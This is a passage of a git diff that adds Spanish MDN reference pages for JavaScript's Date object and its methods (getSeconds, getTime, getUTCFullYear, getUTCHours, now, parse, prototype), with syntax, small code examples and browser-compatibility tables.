+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setMonth()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/getseconds/index.html b/files/es/web/javascript/referencia/objetos_globales/date/getseconds/index.html
new file mode 100644
index 0000000000..875fe3f48b
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/getseconds/index.html
@@ -0,0 +1,83 @@
+---
+title: Date.prototype.getSeconds()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/getSeconds
+tags:
+  - Fecha
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>getSeconds()</code></strong> devuelve los segundos en la fecha especificada de acuerdo a la hora local.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-getseconds.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getSeconds()</code></pre>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un número entero, entro 0 y 59, representando los segundos en la fecha dada de acuerdo a la hora local.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizando_getSeconds()">Utilizando <code>getSeconds()</code></h3>
+
+<p>La segunda sentencia asigna el valor 30 a la variable <code>seconds</code>, en base al valor del objeto {{jsxref("Global_Objects/Date", "Date")}} <code>Xmas95</code>.</p>
+
+<pre class="brush: js">var Xmas95 = new Date('December 25, 1995 23:15:30');
+var seconds = Xmas95.getSeconds();
+
+console.log(seconds); // 30
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.22', 'Date.prototype.getSeconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Date.getSeconds")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setSeconds()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/gettime/index.html b/files/es/web/javascript/referencia/objetos_globales/date/gettime/index.html
new file mode 100644
index 0000000000..f08882be5e
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/gettime/index.html
@@ -0,0 +1,140 @@
+---
+title: Date.prototype.getTime()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/getTime
+tags:
+  - Date
+  - Metodo getTime()
+  - Referencia
+  - getTime
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El método <strong><code>getTime()</code></strong> devuelve el valor numérico correspondiente a la hora para la fecha especificada según la hora universal.</p>
+
+
+
+<p>Puede utilizar este método para ayudar a asignar una fecha y hora a otro objeto {{jsxref("Global_Objects/Date", "Date")}}. Este método es funcionalmente equivalente al metodo {{jsxref("Date.valueof", "valueOf()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getTime()</code>
+</pre>
+
+<h3 id="Returns" name="Returns">Valor devuelto</h3>
+
+<p>El valor devuelto por el método <code>getTime()</code> es un número de milisegundos desde el 1 de enero de 1970 00:00:00 UTC.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Ejemplo_Uso_de_getTime_para_copiar_fechas.">Ejemplo: Uso de <code>getTime()</code> para copiar fechas.</h3>
+
+<p>Construir un objeto de fecha con el mismo valor de tiempo.</p>
+
+<pre class="brush: js notranslate">var birthday = new Date(1994, 12, 10);
+var copy = new Date();
+copy.setTime(birthday.getTime());
+</pre>
+
+<h3 id="Ejemplo_Medir_el_tiempo_de_ejecución">Ejemplo: Medir el tiempo de ejecución</h3>
+
+<p>Restando dos llamadas <code>getTime() </code>subsiguientes en objetos {{jsxref("Global_Objects/Date", "Date")}} recién generados, dé el intervalo de tiempo entre estas dos llamadas. Esto se puede utilizar para calcular el tiempo de ejecución de algunas operaciones.</p>
+
+<pre class="brush: js notranslate">var end, start;
+
+start = new Date();
+for (var i = 0; i &lt; 1000; i++) {
+  Math.sqrt(i);
+}
+end = new Date();
+
+console.log('Operation took ' + (end.getTime() - start.getTime()) + ' msec');
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.9', 'Date.prototype.getTime')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.setTime()")}}</li>
+ <li>{{jsxref("Date.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/getutcfullyear/index.html b/files/es/web/javascript/referencia/objetos_globales/date/getutcfullyear/index.html
new file mode 100644
index 0000000000..f2133bfc02
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/getutcfullyear/index.html
@@ -0,0 +1,121 @@
+---
+title: Date.prototype.getUTCFullYear()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/getUTCFullYear
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>getUTCFullYear()</code></strong> devuelve el año en la fecha especificada en tiempo universal.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>objectoFecha</var>.getUTCFullYear()</code></pre>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un número que representa el año en la fecha representada por el <code><var>objectoFecha</var></code> en tiempo universal.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El valor devuelto por <code>getUTCFullYear()</code> es un número que no está afectado por  el efecto año 2000, por ejemplo, 1995.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Empleo_de_getUTCFullYear()">Empleo de <code>getUTCFullYear()</code></h3>
+
+<p>El siguiente ejemplo asigna el valor de cuatro digitos del año actual a la variable <code>year</code>.</p>
+
+<pre class="brush: js">var today = new Date();
+var year = today.getUTCFullYear();
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementada en JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.11', 'Date.prototype.getUTCFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/getutchours/index.html b/files/es/web/javascript/referencia/objetos_globales/date/getutchours/index.html
new file mode 100644
index 0000000000..1e7a7a1ce2
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/getutchours/index.html
@@ -0,0 +1,117 @@
+---
+title: Date.prototype.getUTCHours()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/getUTCHours
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCHours
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>getUTCHours()</code></strong> retorna las horas especificadas en la fecha deacuerdo al horario universal.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCHours()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>An integer number, between 0 and 23, representing the hours in the given date according to universal time.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCHours()">Using <code>getUTCHours()</code></h3>
+
+<p>The following example assigns the hours portion of the current time to the variable <code>hours</code>.</p>
+
+<pre class="brush: js">var today = new Date();
+var hours = today.getUTCHours();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.19', 'Date.prototype.getUTCHours')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/index.html b/files/es/web/javascript/referencia/objetos_globales/date/index.html
new file mode 100644
index 0000000000..20e05539e5
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/index.html
@@ -0,0 +1,132 @@
+---
+title: Date
+slug: Web/JavaScript/Referencia/Objetos_globales/Date
+tags:
+  - Date
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<div>{{JSRef("Objetos_globales", "Date")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>Permite trabajar con fechas y horas.</p>
+
+<h2 id="Se_Crea_Con" name="Se_Crea_Con">El constructor</h2>
+
+<p>El constructor <code>Date</code>:</p>
+
+<pre class="brush: js">new Date()
+new Date(<em>milisegundos</em>)
+new Date(<em>cadenaFecha</em>)
+new Date(<em>año_num</em>,<em>mes_num</em>,<em>dia_num</em>
+        [,<em>hor_num</em>,<em>min_num</em>,<em>seg_num</em>,<em>mils_num</em>])
+</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>milisegundos</code></dt>
+ <dd>Valor entero que representa el número de milisegundos desde las 00:00:00 UTC del 1 de enero de 1970.</dd>
+</dl>
+
+<dl>
+ <dt><code>cadenaFecha</code></dt>
+ <dd>Valor de tipo cadena que representa una fecha. La cadena debería estar en un formato reconocido por el método {{jsxref("Date.parse()")}}.</dd>
+</dl>
+
+<dl>
+ <dt><code>año_num, mes_num, dia_num</code></dt>
+ <dd>Valores enteros con las representaciones de las partes de una fecha. Como valor entero, el mes se representa de 0 a 11, con 0=enero and 11=diciembre.</dd>
+</dl>
+
+<dl>
+ <dt><code>hor_num, min_num, seg_num, mils_num</code></dt>
+ <dd>Valores enteros que representan las partes de una hora completa.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Si no proporciona argumentos, el constructor crea un objeto <code>Date</code> con la hora y fecha de hoy según la hora local.</p>
+
+<p><span style="font-size: 14.3999996185303px; line-height: 16.7999992370605px;">Si proporciona algun</span><span style="font-size: 14.3999996185303px; line-height: 16.7999992370605px;">os argumentos, debe proporcionar al menos 2 argumentos.</span> Los argumentos vacíos se establecen a 0 (ó 1 si falta el día). </p>
+
+<p>La fecha se mide en milisegundos desde la media noche exacta del 01 de enero de 1970 en formato UTC. Un día contiene 86.400.000 milisegundos. El rango del objeto Date va desde -100,000,000 días hasta 100,000,000 días respecto del 01 de enero de 1970 UTC.</p>
+
+<p>El objeto <code>Date</code> proporciona un comportamiento uniforme entre plataformas.</p>
+
+<p>El objeto <code>Date</code> soporta métodos UTC (universales), además de métodos horarios locales. UTC, también conocido como Greenwich Mean Time (GMT), se refiere a la hora según el Estádar Horario Mundial (World Time Standard). La hora local es la hora establecida por el ordenador donde se ejecuta JavaScript.</p>
+
+<p>Por compatibilidad con los cálculos del nuevo milenio (en otras palabras, para tener en cuenta el efecto 2000), debería especificar siempre el año completo; por ejemplo, utilice 1998, y no 98. Para ayudarle a especificar el año completo, JavaScript incluye los métodos {{jsxref("Date.prototype.getFullYear()")}}, {{jsxref("Date.prototype.setFullYear()")}}, {{jsxref("Date.prototype.getUTCFullYear()")}}, y {{jsxref("Date.prototype.setUTCFullYear()")}}.</p>
+
+<p>El siguiente ejemplo devuelve el tiempo transcurrido entre <code>horaA</code> y <code>horaB</code> en milisegundos.</p>
+
+<pre class="eval">horaA = new Date();
+// Sentencias que realizan alguna acción.
+horaB = new Date();
+diferenciaHoras = horaB - horaA;
+</pre>
+
+<h2 id="Propiedades" name="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{jsxref("Date.prototype")}}</dt>
+ <dd>Permite añadir propiedades a un objeto <code>Date</code>.</dd>
+</dl>
+
+<p>{{ jsOverrides("Function", "properties", "prototype") }}</p>
+
+<h2 id="M.C3.A9todos_Est.C3.A1ticos" name="M.C3.A9todos_Est.C3.A1ticos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("Date.now()")}}</dt>
+ <dd>Devuelve el valor numérico correspondiente a la hora actual.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Date.parse()")}}</dt>
+ <dd>Transforma una cadena que representa una fecha, y devuelve el número de milisegundos desde el 1 de enero de 1970, hora local 00:00:00.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Date.UTC()")}}</dt>
+ <dd>Acepta los mismos parámetros que la forma más larga del constructor, y devuelve el número de milisegundos en un objeto <code>Date</code> desde el 1 de enero de 1970, hora universal 00:00:00.</dd>
+</dl>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Instancias de  <code>Date</code></h2>
+
+<h3 id="Métodos">Métodos</h3>
+
+<p>{{ page("/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date/prototype", "M.C3.A9todos") }}</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Diversas_maneras_de_asignar_fechas" name="Ejemplo:_Diversas_maneras_de_asignar_fechas">Ejemplo: Diversas maneras de asignar fechas</h3>
+
+<p>Los ejemplos siguientes muestran diversos modos de asignar fechas:</p>
+
+<pre class="brush: js">hoy = new Date();
+cumpleanos = new Date("December 17, 1995 03:24:00");
+cumpleanos = new Date(1995,11,17);
+cumpleanos = new Date(1995,11,17,3,24,0);
+</pre>
+
+<h3 id="Ejemplo:_Calcular_el_tiempo_transcurrido" name="Ejemplo:_Calcular_el_tiempo_transcurrido">Ejemplo: Calcular el tiempo transcurrido</h3>
+
+<p>Los siguientes ejemplos muestran como determinar el tiempo transcurrido entre dos fechas:</p>
+
+<pre class="brush: js">// usando métodos estáticos
+var inicio = Date.now();
+// el evento cuyo tiempo ha transcurrido aquí:
+hacerAlgoPorAlgunTiempo();
+var fin = Date.now();
+var transcurso = fin - inicio; // tiempo en milisegundos
+</pre>
+
+<pre class="brush: js">// si tiene objetos Date
+var inicio = new Date();
+// el evento cuyo tiempo ha transcurrido aquí:
+hacerAlgoPorAlgunTiempo();
+var fin = new Date();
+var transcurso = fin.getTime() - inicio.getTime(); // tiempo en milisegundos
+</pre>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/now/index.html b/files/es/web/javascript/referencia/objetos_globales/date/now/index.html
new file mode 100644
index 0000000000..6c611710bb
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/now/index.html
@@ -0,0 +1,30 @@
+---
+title: Date.now()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/now
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/now
+---
+<div>
+ {{JSRef("Objetos_globales", "Date")}}</div>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Devuelve el número de milisegundos transcurridos desde las 00:00:00 UTC del 1 de enero de 1970.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre class="syntaxbox">var <em>fechaEnMiliseg</em> = Date.now();
+</pre>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>El método <code>now</code> devuelve los milisegundos transcurridos desde las 00:00:00 UTC del 1 de enero de 1970 justo hasta ahora como un {{jsxref("Number")}}.</p>
+<p>Cuando se usa <code>now</code> para crear registros temporales or identificadores únicos, tenga en cuenta que la precisión de Windows puede ser de 15 milisegundos (vea {{Bug(363258)}}), lo que puede provocar valores iguales si <code>now</code> se llama múltiples veces en un breve intervalo de tiempo.</p>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<h3 id="Ejemplo:_Usando_now" name="Ejemplo:_Usando_now">Ejemplo: Usando <code>now</code></h3>
+<p>El siguiente ejemplo usa <code>now</code> para crear un registro temporal.</p>
+<pre class="brush:js">var registro = Date.now();
+</pre>
+<h2 id="Vea_También">Vea También</h2>
+<ul>
+ <li>{{domxref("window.performance.now")}}</li>
+ <li>{{domxref("console.time")}} / {{domxref("console.timeEnd")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/parse/index.html b/files/es/web/javascript/referencia/objetos_globales/date/parse/index.html
new file mode 100644
index 0000000000..15536775d7
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/parse/index.html
@@ -0,0 +1,35 @@
+---
+title: Date.parse()
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/parse
+tags:
+  - Date
+  - JavaScript
+  - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/parse
+---
+<div>
+ {{JSRef("Objetos_globales", "Date")}}</div>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Transforma una cadena con la representación de una fecha y hora, y devuelve el número de milisegundos desde las 00:00:00 del 1 de enero de 1970, hora local.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre class="syntaxbox">Date.parse(cadenaFecha)</pre>
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+<dl>
+ <dt>
+  <code>cadenaFecha</code></dt>
+ <dd>
+  Una cadena con la representación de una fecha y hora.</dd>
+</dl>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>El método <code>parse</code> toma una cadena con una fecha en inglés (como por ejemplo "<code>Dec 25, 1995</code>") y devuelve el número de milisegundos desde las 00:00:00 del 1 de enero de 1970 (hora local). Esta función es útil para establecer valores de fecha basados en cadenas con fechas, por ejemplo junto con el método {{jsxref("Date.prototype.setTime()")}} y el objeto {{jsxref("Date")}}.</p>
+<p>Dada una cadena con una hora, <code>parse</code> devuelve el valor de la hora. Acepta la sintaxis del estándar IETF (en inglés): "<code>Mon, 25 Dec 1995 13:30:00 GMT</code>". Comprende las abreviaciones de la zona horaria continental de Estados Unidos, pero para su uso general, use la diferencia de zona horaria, como por ejemplo, "<code>Mon, 25 Dec 1995 13:30:00 GMT+0430</code>" (4 horas, 30 minutos al oeste del meridiano de Greenwich). Si no se especifica una zona horaria, se asumirá la zona de la hora local. GMT y UTC se consideran equivalentes.</p>
+<p>Debido a que <code>parse</code> es un método estático de <code>Date</code>, úselo siempre como <code>Date.parse()</code>, en vez de como un método del objeto <code>Date</code> que usted cree.</p>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<h3 id="Ejemplo:_Usando_parse" name="Ejemplo:_Usando_parse">Ejemplo: Usando <code>parse</code></h3>
+<p>Si <code>IPOfecha</code> es un objeto existente <code>Date</code>, entonces usted puede asignarlo a 9 de agosto de 1995 de la manera siguiente:</p>
+<pre class="brush: js">IPOfecha.setTime(Date.parse("Aug 9, 1995")) ;
+</pre>
+<h2 id="Vea_tambi.C3.A9n" name="Vea_tambi.C3.A9n">Vea también</h2>
+<ul>
+ <li>{{jsxref("Date.UTC()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/date/prototype/index.html b/files/es/web/javascript/referencia/objetos_globales/date/prototype/index.html
new file mode 100644
index 0000000000..200bae55bc
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/date/prototype/index.html
@@ -0,0 +1,200 @@
+---
+title: Date.prototype
+slug: Web/JavaScript/Referencia/Objetos_globales/Date/prototype
+tags:
+  - Date
+  - JavaScript
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<div>
+ {{JSRef("Objetos_globales", "Date")}}</div>
+<h2 id="Resumen">Resumen</h2>
+<p>Representa el prototipo para esta clase. Puede utilizar el prototipo para añadir propiedades o métodos a todas las instancias de una clase.</p>
+<div>
+ {{js_property_attributes(0,0,1)}}</div>
+<h2 class="noinclude" id="Propriedades">Propriedades</h2>
+<dl>
+ <dt class="noinclude">
+  <code>Date.prototype.constructor</code></dt>
+ <dd>
+   </dd>
+</dl>
+<div>
+ {{ jsOverrides("Object", "properties", "constructor") }}</div>
+<h2 id="Métodos">Métodos</h2>
+<dl>
+ <dt>
+  {{jsxref("Date.prototype.getDate()")}}</dt>
+ <dd>
+  Devuelve el día del mes de la fecha especificada según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getDay()")}}</dt>
+ <dd>
+  Devuelve el día de la semana de la fecha especificada según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getFullYear()")}}</dt>
+ <dd>
+  Devuelve el año de la fecha especificada según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getHours()")}}</dt>
+ <dd>
+  Devuelve la hora de la fecha especificada según la hora local.</dd>
+ <dt>
+  {{jsxref("Date.prototype.getMilliseconds()")}}</dt>
